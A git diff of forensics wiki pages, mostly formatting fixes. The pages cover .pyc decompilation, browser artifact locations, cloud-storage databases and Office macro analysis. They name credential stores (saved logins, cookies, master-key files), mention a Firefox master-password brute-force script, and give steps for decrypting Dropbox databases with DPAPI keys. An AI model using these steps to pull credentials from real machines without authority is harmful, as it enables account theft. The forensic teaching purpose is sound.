_CTRL+f_\ -__You can add new layers to the main information bar_ (No., Time, Source...) _pressing _right bottom _and _Edit Column_ +__You can add new layers to the main information bar _(No., Time, Source...)_ pressing _right bottom_ and _Edit Column_ Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) @@ -120,7 +120,7 @@ A file of shared keys will looks like this: ![](<../../../.gitbook/assets/image (99).png>) -To import this in wireshark go to _edit>preference>protocol>ssl> _and import it in (Pre)-Master-Secret log filename: +To import this in wireshark go to _edit>preference>protocol>ssl>_ and import it in (Pre)-Master-Secret log filename: ![](<../../../.gitbook/assets/image (100).png>) diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index cc62bbee..212ba08b 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -2,7 +2,7 @@ ## From Compiled Binary to .pyc -From an **ELF **compiled binary you can **get the .pyc **with: +From an **ELF** compiled binary you can **get the .pyc** with: ```bash pyi-archive_viewer @@ -23,7 +23,7 @@ pyi-archive_viewer to filename? /tmp/binary.pyc ``` -In an **python exe binary** compiled you can **get the .pyc **by running: +In an **python exe binary** compiled you can **get the .pyc** by running: ```bash python pyinstxtractor.py executable.exe @@ -31,7 +31,7 @@ python pyinstxtractor.py executable.exe ## From .pyc to python code -For the **.pyc **data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: +For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: ```bash uncompyle6 binary.pyc > decompiled.py @@ -39,7 +39,7 @@ uncompyle6 binary.pyc > decompiled.py **Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) -While executing **uncompyle6 **you might find the **following errors**: +While executing **uncompyle6** you might find the **following errors**: ### Error: Unknown magic number 227 @@ -48,7 +48,7 @@ While executing **uncompyle6 **you might find the **following errors**: Unknown magic number 227 in /tmp/binary.pyc ``` -In order to fix this you need to **add the correct magic number **at the begging of the generated fil. +In order to fix this you need to **add the correct magic number** at the begging of the generated fil. **Magic numbers vary with the python version**, to get the magic number of **python3.8** you will need to **open a python3.8** terminal and execute: @@ -58,9 +58,9 @@ In order to fix this you need to **add the correct magic number **at the begging '550d0d0a' ``` -The **magic number **in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add **at the **begging **of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` +The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **begging** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` -**Once **you have **added **that magic header, the** error should be fixed.** +**Once** you have **added** that magic header, the **error should be fixed.** This is how a correctly added **.pyc python3.8 magic header** will looks like: @@ -74,15 +74,15 @@ hexdump 'binary.pyc' | head ### Error: Decompiling generic errors -**Other errors **like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. -This probably means that you** haven't added correctly** the magic number or that you haven't **used **the **correct magic number**, so make **sure you use the correct one** (or try a new one). +This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). Check the previous error documentation. ## Automatic Tool -The tool [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) glues together several tools available to the community that** helps researcher to unpack and decompile executable** written in python (py2exe and pyinstaller). +The tool [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) glues together several tools available to the community that **helps researcher to unpack and decompile executable** written in python (py2exe and pyinstaller). Several YARA rules are available to determine if the executable is written in python (This script also confirms if the executable is created with either py2exe or pyinstaller). @@ -108,7 +108,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive ## Analyzing python assembly -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **dissasemble** the_ .pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: +If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **dissasemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: ```bash >>> import dis diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ea88c7b7..abf70e91 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,6 +1,6 @@ # Browser Artifacts -## Browsers Artefacts +## Browsers Artefacts When we talk about browser artefacts we talk about, navigation history, bookmarks, list of downloaded files, cache data…etc. @@ -11,27 +11,27 @@ Each browser stores its files in a different place than other browsers and they Let us take a look at the most common artefacts stored by browsers. * **Navigation History :** Contains data about the navigation history of the user. Can be used to track down if the user has visited some malicious sites for example -* **Autocomplete Data : **This is the data that the browser suggest based on what you search the most. Can be used in tandem with the navigation history to get more insight. -* **Bookmarks : **Self Explanatory. -* **Extensions and Addons : **Self Explanatory. -* **Cache : **When navigating websites, the browser creates all sorts of cache data (images, javascript files…etc) for many reasons. For example to speed loading time of websites. These cache files can be a great source of data during a forensic investigation. -* **Logins : **Self Explanatory. +* **Autocomplete Data :** This is the data that the browser suggest based on what you search the most. Can be used in tandem with the navigation history to get more insight. +* **Bookmarks :** Self Explanatory. +* **Extensions and Addons :** Self Explanatory. +* **Cache :** When navigating websites, the browser creates all sorts of cache data (images, javascript files…etc) for many reasons. For example to speed loading time of websites. These cache files can be a great source of data during a forensic investigation. +* **Logins :** Self Explanatory. * **Favicons :** They are the little icons found in tabs, urls, bookmarks and the such. They can be used as another source to get more information about the website or places the user visited. -* **Browser Sessions : **Self Explanatory. +* **Browser Sessions :** Self Explanatory. * **Downloads :**Self Explanatory. -* **Form Data : **Anything typed inside forms is often times stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. -* **Thumbnails : **Self Explanatory. +* **Form Data :** Anything typed inside forms is often times stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. +* **Thumbnails :** Self Explanatory. ## Firefox -Firefox use to create the profiles folder in \~/_**.mozilla/firefox/**_ (Linux), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\ **_(Windows)_**.**_\ +Firefox use to create the profiles folder in \~/_**.mozilla/firefox/**_ (Linux), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ Inside this folder, the file _**profiles.ini**_ should appear with the name(s) of the used profile(s).\ -Each profile has a "**Path**" variable with the name of the folder where it's data is going to be stored. The folder should be** present in the same directory where the **_**profiles.ini**_** exist**. If it isn't, then, probably it was deleted. +Each profile has a "**Path**" variable with the name of the folder where it's data is going to be stored. The folder should be **present in the same directory where the **_**profiles.ini**_** exist**. If it isn't, then, probably it was deleted. -Inside the folder **of each profile **(_\~/.mozilla/firefox/\/_) path you should be able to find the following interesting files: +Inside the folder **of each profile** (_\~/.mozilla/firefox/\/_) path you should be able to find the following interesting files: -* _**places.sqlite**_ : History (moz_\__places), bookmarks (moz_bookmarks), and downloads (moz_\__annos). In windows the tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used to read the history inside _**places.sqlite**_. - * Query to dump history: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` +* _**places.sqlite**_ : History (moz_\__places), bookmarks (moz\_bookmarks), and downloads (moz_\__annos). In windows the tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history inside _**places.sqlite**_. + * Query to dump history: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` * Note that the link type is a number that indicates: * 1: User followed a link * 2: User wrote the URL @@ -44,14 +44,14 @@ Inside the folder **of each profile **(_\~/.mozilla/firefox/\/_) pa * Query to dump downloads: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` * * _**bookmarkbackups/**_ : Bookmarks backups -* _**formhistory.sqlite**_ : **Web form data **(like emails) +* _**formhistory.sqlite**_ : **Web form data** (like emails) * _**handlers.json**_ : Protocol handlers (like, which app is going to handle _mailto://_ protocol) * _**persdict.dat**_ : Words added to the dictionary -* _**addons.json**_ and _**extensions.sqlite** _: Installed addons and extensions -* _**cookies.sqlite**_ : Contains **cookies. **[**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html)** **can be used in Windows to inspect this file. -* _**cache2/entries**_ or _**startupCache **_: Cache data (\~350MB). Tricks like **data carving** can also be used to obtain the files saved in the cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) can be used to see the **files saved in the cache**. +* _**addons.json**_ and _**extensions.sqlite** _ : Installed addons and extensions +* _**cookies.sqlite**_ : Contains **cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) **** can be used in Windows to inspect this file. +* _**cache2/entries**_ or _**startupCache**_ : Cache data (\~350MB). Tricks like **data carving** can also be used to obtain the files saved in the cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) can be used to see the **files saved in the cache**. - Information that can be obtained: + Information that can be obtained: * URL, fetch Count, Filename, Content type, FIle size, Last modified time, Last fetched time, Server Last Modified, Server Response * _**favicons.sqlite**_ : Favicons @@ -59,11 +59,11 @@ Inside the folder **of each profile **(_\~/.mozilla/firefox/\/_) pa * _**downloads.sqlite**_ : Old downloads database (now it's inside places.sqlite) * _**thumbnails/**_ : Thumbnails * _**logins.json**_ : Encrypted usernames and passwords -* **Browser’s built-in anti-phishing: **`grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` +* **Browser’s built-in anti-phishing:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` * Will return “safebrowsing.malware.enabled” and “phishing.enabled” as false if the safe search settings have been disabled * _**key4.db**_ or _**key3.db**_ : Master key ? -In order to try to decrypt the master password you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +In order to try to decrypt the master password you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ With the following script and call you can specify a password file to bruteforce: {% code title="brute.sh" %} @@ -83,10 +83,10 @@ done < $passfile ## Google Chrome -Google Chrome creates the profile inside the home of the user _**\~/.config/google-chrome/**_ (Linux), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), or in _**/Users/$USER/Library/Application Support/Google/Chrome/** _(MacOS).\ +Google Chrome creates the profile inside the home of the user _**\~/.config/google-chrome/**_ (Linux), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), or in _**/Users/$USER/Library/Application Support/Google/Chrome/** _ (MacOS).\ Most of the information will be saved inside the _**Default/**_ or _**ChromeDefaultData/**_ folders inside the paths indicated before. Inside here you can find the following interesting files: -* _**History **_: URLs, downloads and even searched keywords. In Windows you can use the tool [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) to read the history. The "Transition Type" column means: +* _**History**_ : URLs, downloads and even searched keywords. In Windows you can use the tool [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) to read the history. The "Transition Type" column means: * Link: User clicked on a link * Typed: The url was written * Auto Bookmark @@ -94,23 +94,23 @@ Most of the information will be saved inside the _**Default/**_ or _**ChromeDefa * Start page: Home page * Form Submit: A form was filled and sent * Reloaded -* _**Cookies **_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) can be used to inspect the cookies. -* _**Cache **_: Cache. In Windows you can use the tool [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) to inspect the ca -* _**Bookmarks **_:** ** Bookmarks +* _**Cookies**_ : Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) can be used to inspect the cookies. +* _**Cache**_ : Cache. In Windows you can use the tool [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) to inspect the ca +* _**Bookmarks**_ : **** Bookmarks * _**Web Data**_ : Form History -* _**Favicons **_: Favicons +* _**Favicons**_ : Favicons * _**Login Data**_ : Login information (usernames, passwords...) * _**Current Session**_ and _**Current Tabs**_ : Current session data and current tabs * _**Last Session**_ and _**Last Tabs**_ : These files hold sites that were active in the browser when Chrome was last closed. * _**Extensions/**_ : Extensions and addons folder * **Thumbnails** : Thumbnails * **Preferences**: This file contains a plethora of good information such as plugins, extensions, sites using geolocation, popups, notifications, DNS prefetching, certificate exceptions, and much more. If you’re trying to research whether or not a specific Chrome setting was enabled, you will likely find that setting in here. -* **Browser’s built-in anti-phishing: **`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` +* **Browser’s built-in anti-phishing:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` * You can simply grep for “**safebrowsing**” and look for `{"enabled: true,"}` in the result to indicate anti-phishing and malware protection is on. ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to** recover deleted entries using the tool **[**sqlparse**](https://github.com/padfoot999/sqlparse)** or **[**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** @@ -119,7 +119,7 @@ Internet Explorer stores **data** and **metadata** in different locations. The m The **metadata** can be found in the folder`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` where VX can be V01, V16 o V24.\ In the previous folder you can also find the file V01.log. In case the **modified time** of this file and the WebcacheVX.data file **are different** you may need to run the command `esentutl /r V01 /d` to **fix** possible **incompatibilities**. -Once **recovered** this artifact (It's an ESE database, photorec can recover it with the options Exchange Database or EDB) you can use the program [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it.\ +Once **recovered** this artifact (It's an ESE database, photorec can recover it with the options Exchange Database or EDB) you can use the program [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it.\ Once **opened**, go to the table "**Containers**". ![](<../../../.gitbook/assets/image (446).png>) @@ -130,7 +130,7 @@ Inside this table you can find in which other tables or containers each part of ### Cache -You can use the tool [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) to inspect the cache. You need to indicate the folder where you have extracted the cache date. +You can use the tool [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) to inspect the cache. You need to indicate the folder where you have extracted the cache date. #### Metadata @@ -147,7 +147,7 @@ The metadata information about the cache stores: #### Files -The cache information can be found in _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ and _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ +The cache information can be found in _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ and _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ The information inside these folders is a **snapshot of what the user was seeing**. The caches has a size of **250 MB** and the timestamps indicate when the page was visited (first time, creation date of the NTFS, last time, modification time of the NTFS). @@ -169,7 +169,7 @@ The metadata information about the cookies stores: #### Files -The cookies data can be found in _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ and _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_ +The cookies data can be found in _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ and _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_ Session cookies will reside in memory and persistent cookie in the disk. @@ -177,7 +177,7 @@ Session cookies will reside in memory and persistent cookie in the disk. #### **Metadata** -Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) you can find the container with the metadata of the downloads: +Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) you can find the container with the metadata of the downloads: ![](<../../../.gitbook/assets/image (445).png>) @@ -189,7 +189,7 @@ Look in the path _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHi ### **History** -The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used to read the history. But first you need to indicate the browser in advanced options and the location of the extracted history files. +The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history. But first you need to indicate the browser in advanced options and the location of the extracted history files. #### **Metadata** @@ -199,7 +199,7 @@ The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_vi #### **Files** -Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5 **_and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ +Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ ### **Typed URLs** @@ -212,19 +212,19 @@ This information can be found inside the registry NTDUSER.DAT in the path: ## Microsoft Edge -For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section (IE 11) remain valid **with the only difference that the base locating in this case is _**%userprofile%\Appdata\Local\Packages**_ (as can be observed in the following paths): +For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section (IE 11) remain valid** with the only difference that the base locating in this case is _**%userprofile%\Appdata\Local\Packages**_ (as can be observed in the following paths): -* Profile Path: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC**_ +* Profile Path: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ * History, Cookies and Downloads: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* Settings, Bookmarks, and Reading List: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache**_ -* Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ +* Settings, Bookmarks, and Reading List: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ +* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ +* Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ ## **Safari** The databases can be found in `/Users/$User/Library/Safari` -* **History.db**: The tables `history_visits`_ and _`history_items` contains information about the history and timestamps. +* **History.db**: The tables `history_visits` _and_ `history_items` contains information about the history and timestamps. * `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` * **Downloads.plist**: Contains the info about the downloaded files. * **Book-marks.plis**t: URLs bookmarked. @@ -236,7 +236,7 @@ The databases can be found in `/Users/$User/Library/Safari` * `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` * **LastSession.plist**: Tabs that were opened the last time the user exited Safari. * `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **Browser’s built-in anti-phishing: **`defaults read com.apple.Safari WarnAboutFraudulentWebsites` +* **Browser’s built-in anti-phishing:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` * The reply should be 1 to indicate the setting is active ## Opera @@ -245,5 +245,5 @@ The databases can be found in `/Users/$USER/Library/Application Support/com.oper Opera **stores browser history and download data in the exact same format as Google Chrome**. This applies to the file names as well as the table names. -* **Browser’s built-in anti-phishing: **`grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` - * **fraud_protection_enabled** should be **true** +* **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` + * **fraud\_protection\_enabled** should be **true** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 5ceb9b4e..3cf38453 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -19,7 +19,7 @@ Once you have found the CID it's recommended to **search files containing this I ## Google Drive In Widows you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files...\ +This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files...\ Even deleted files appears in that log file with it's corresponding MD5. The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**\ @@ -56,16 +56,16 @@ However, the main information is: Apart from that information, in order to decrypt the databases you still need: -* The** encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) +* The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) * The **`SYSTEM`** and **`SECURITY`** hives * The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` * The **username** and **password** of the Windows user -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** ![](<../../../.gitbook/assets/image (448).png>) -If everything goes as expected, the tool will indicate the** primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt. +If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt. The resulting hex is the final key used to encrypt the databases which can be decrypted with: @@ -77,21 +77,21 @@ The **`config.dbx`** database contains: * **Email**: The email of the user * **usernamedisplayname**: The name of the user -* **dropbox_path**: Path where the dropbox folder is located -* **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -* **Root_ns**: User identifier +* **dropbox\_path**: Path where the dropbox folder is located +* **Host\_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. +* **Root\_ns**: User identifier The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: -* **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client) . -* **local_sjid**: Version of the file -* **local_mtime**: Modification date -* **local_ctime**: Creation date +* **Server\_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client) . +* **local\_sjid**: Version of the file +* **local\_mtime**: Modification date +* **local\_ctime**: Creation date Other tables inside this database contain more interesting information: -* **block_cache**: hash of all the files and folder of Dropbox -* **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -* **mount_table**: Share folders of dropbox -* **deleted_fields**: Dropbox deleted files -* **date_added** +* **block\_cache**: hash of all the files and folder of Dropbox +* **block\_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` +* **mount\_table**: Share folders of dropbox +* **deleted\_fields**: Dropbox deleted files +* **date\_added** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 28d4aafb..91b41887 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,9 +2,9 @@ ## Introduction -Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros **(VBA scripts). +Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros** (VBA scripts). -Broadly speaking, there are two generations of Office file format: the** OLE formats** (file extensions like RTF, DOC, XLS, PPT), and the "**Office Open XML**" formats (file extensions that include DOCX, XLSX, PPTX). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** (Objects). OOXML files are actually zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document: +Broadly speaking, there are two generations of Office file format: the **OLE formats** (file extensions like RTF, DOC, XLS, PPT), and the "**Office Open XML**" formats (file extensions that include DOCX, XLSX, PPTX). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** (Objects). OOXML files are actually zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document: ``` $ unzip example.docx @@ -49,9 +49,9 @@ $ tree As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones. -Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING_OOXML.txt). +Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). -Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro **to determine its behavior. This is a more realistic scenario, and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated, since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: +Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro** to determine its behavior. This is a more realistic scenario, and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated, since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: ``` $ soffice path/to/test.docx macro://./standard.module1.mymacro 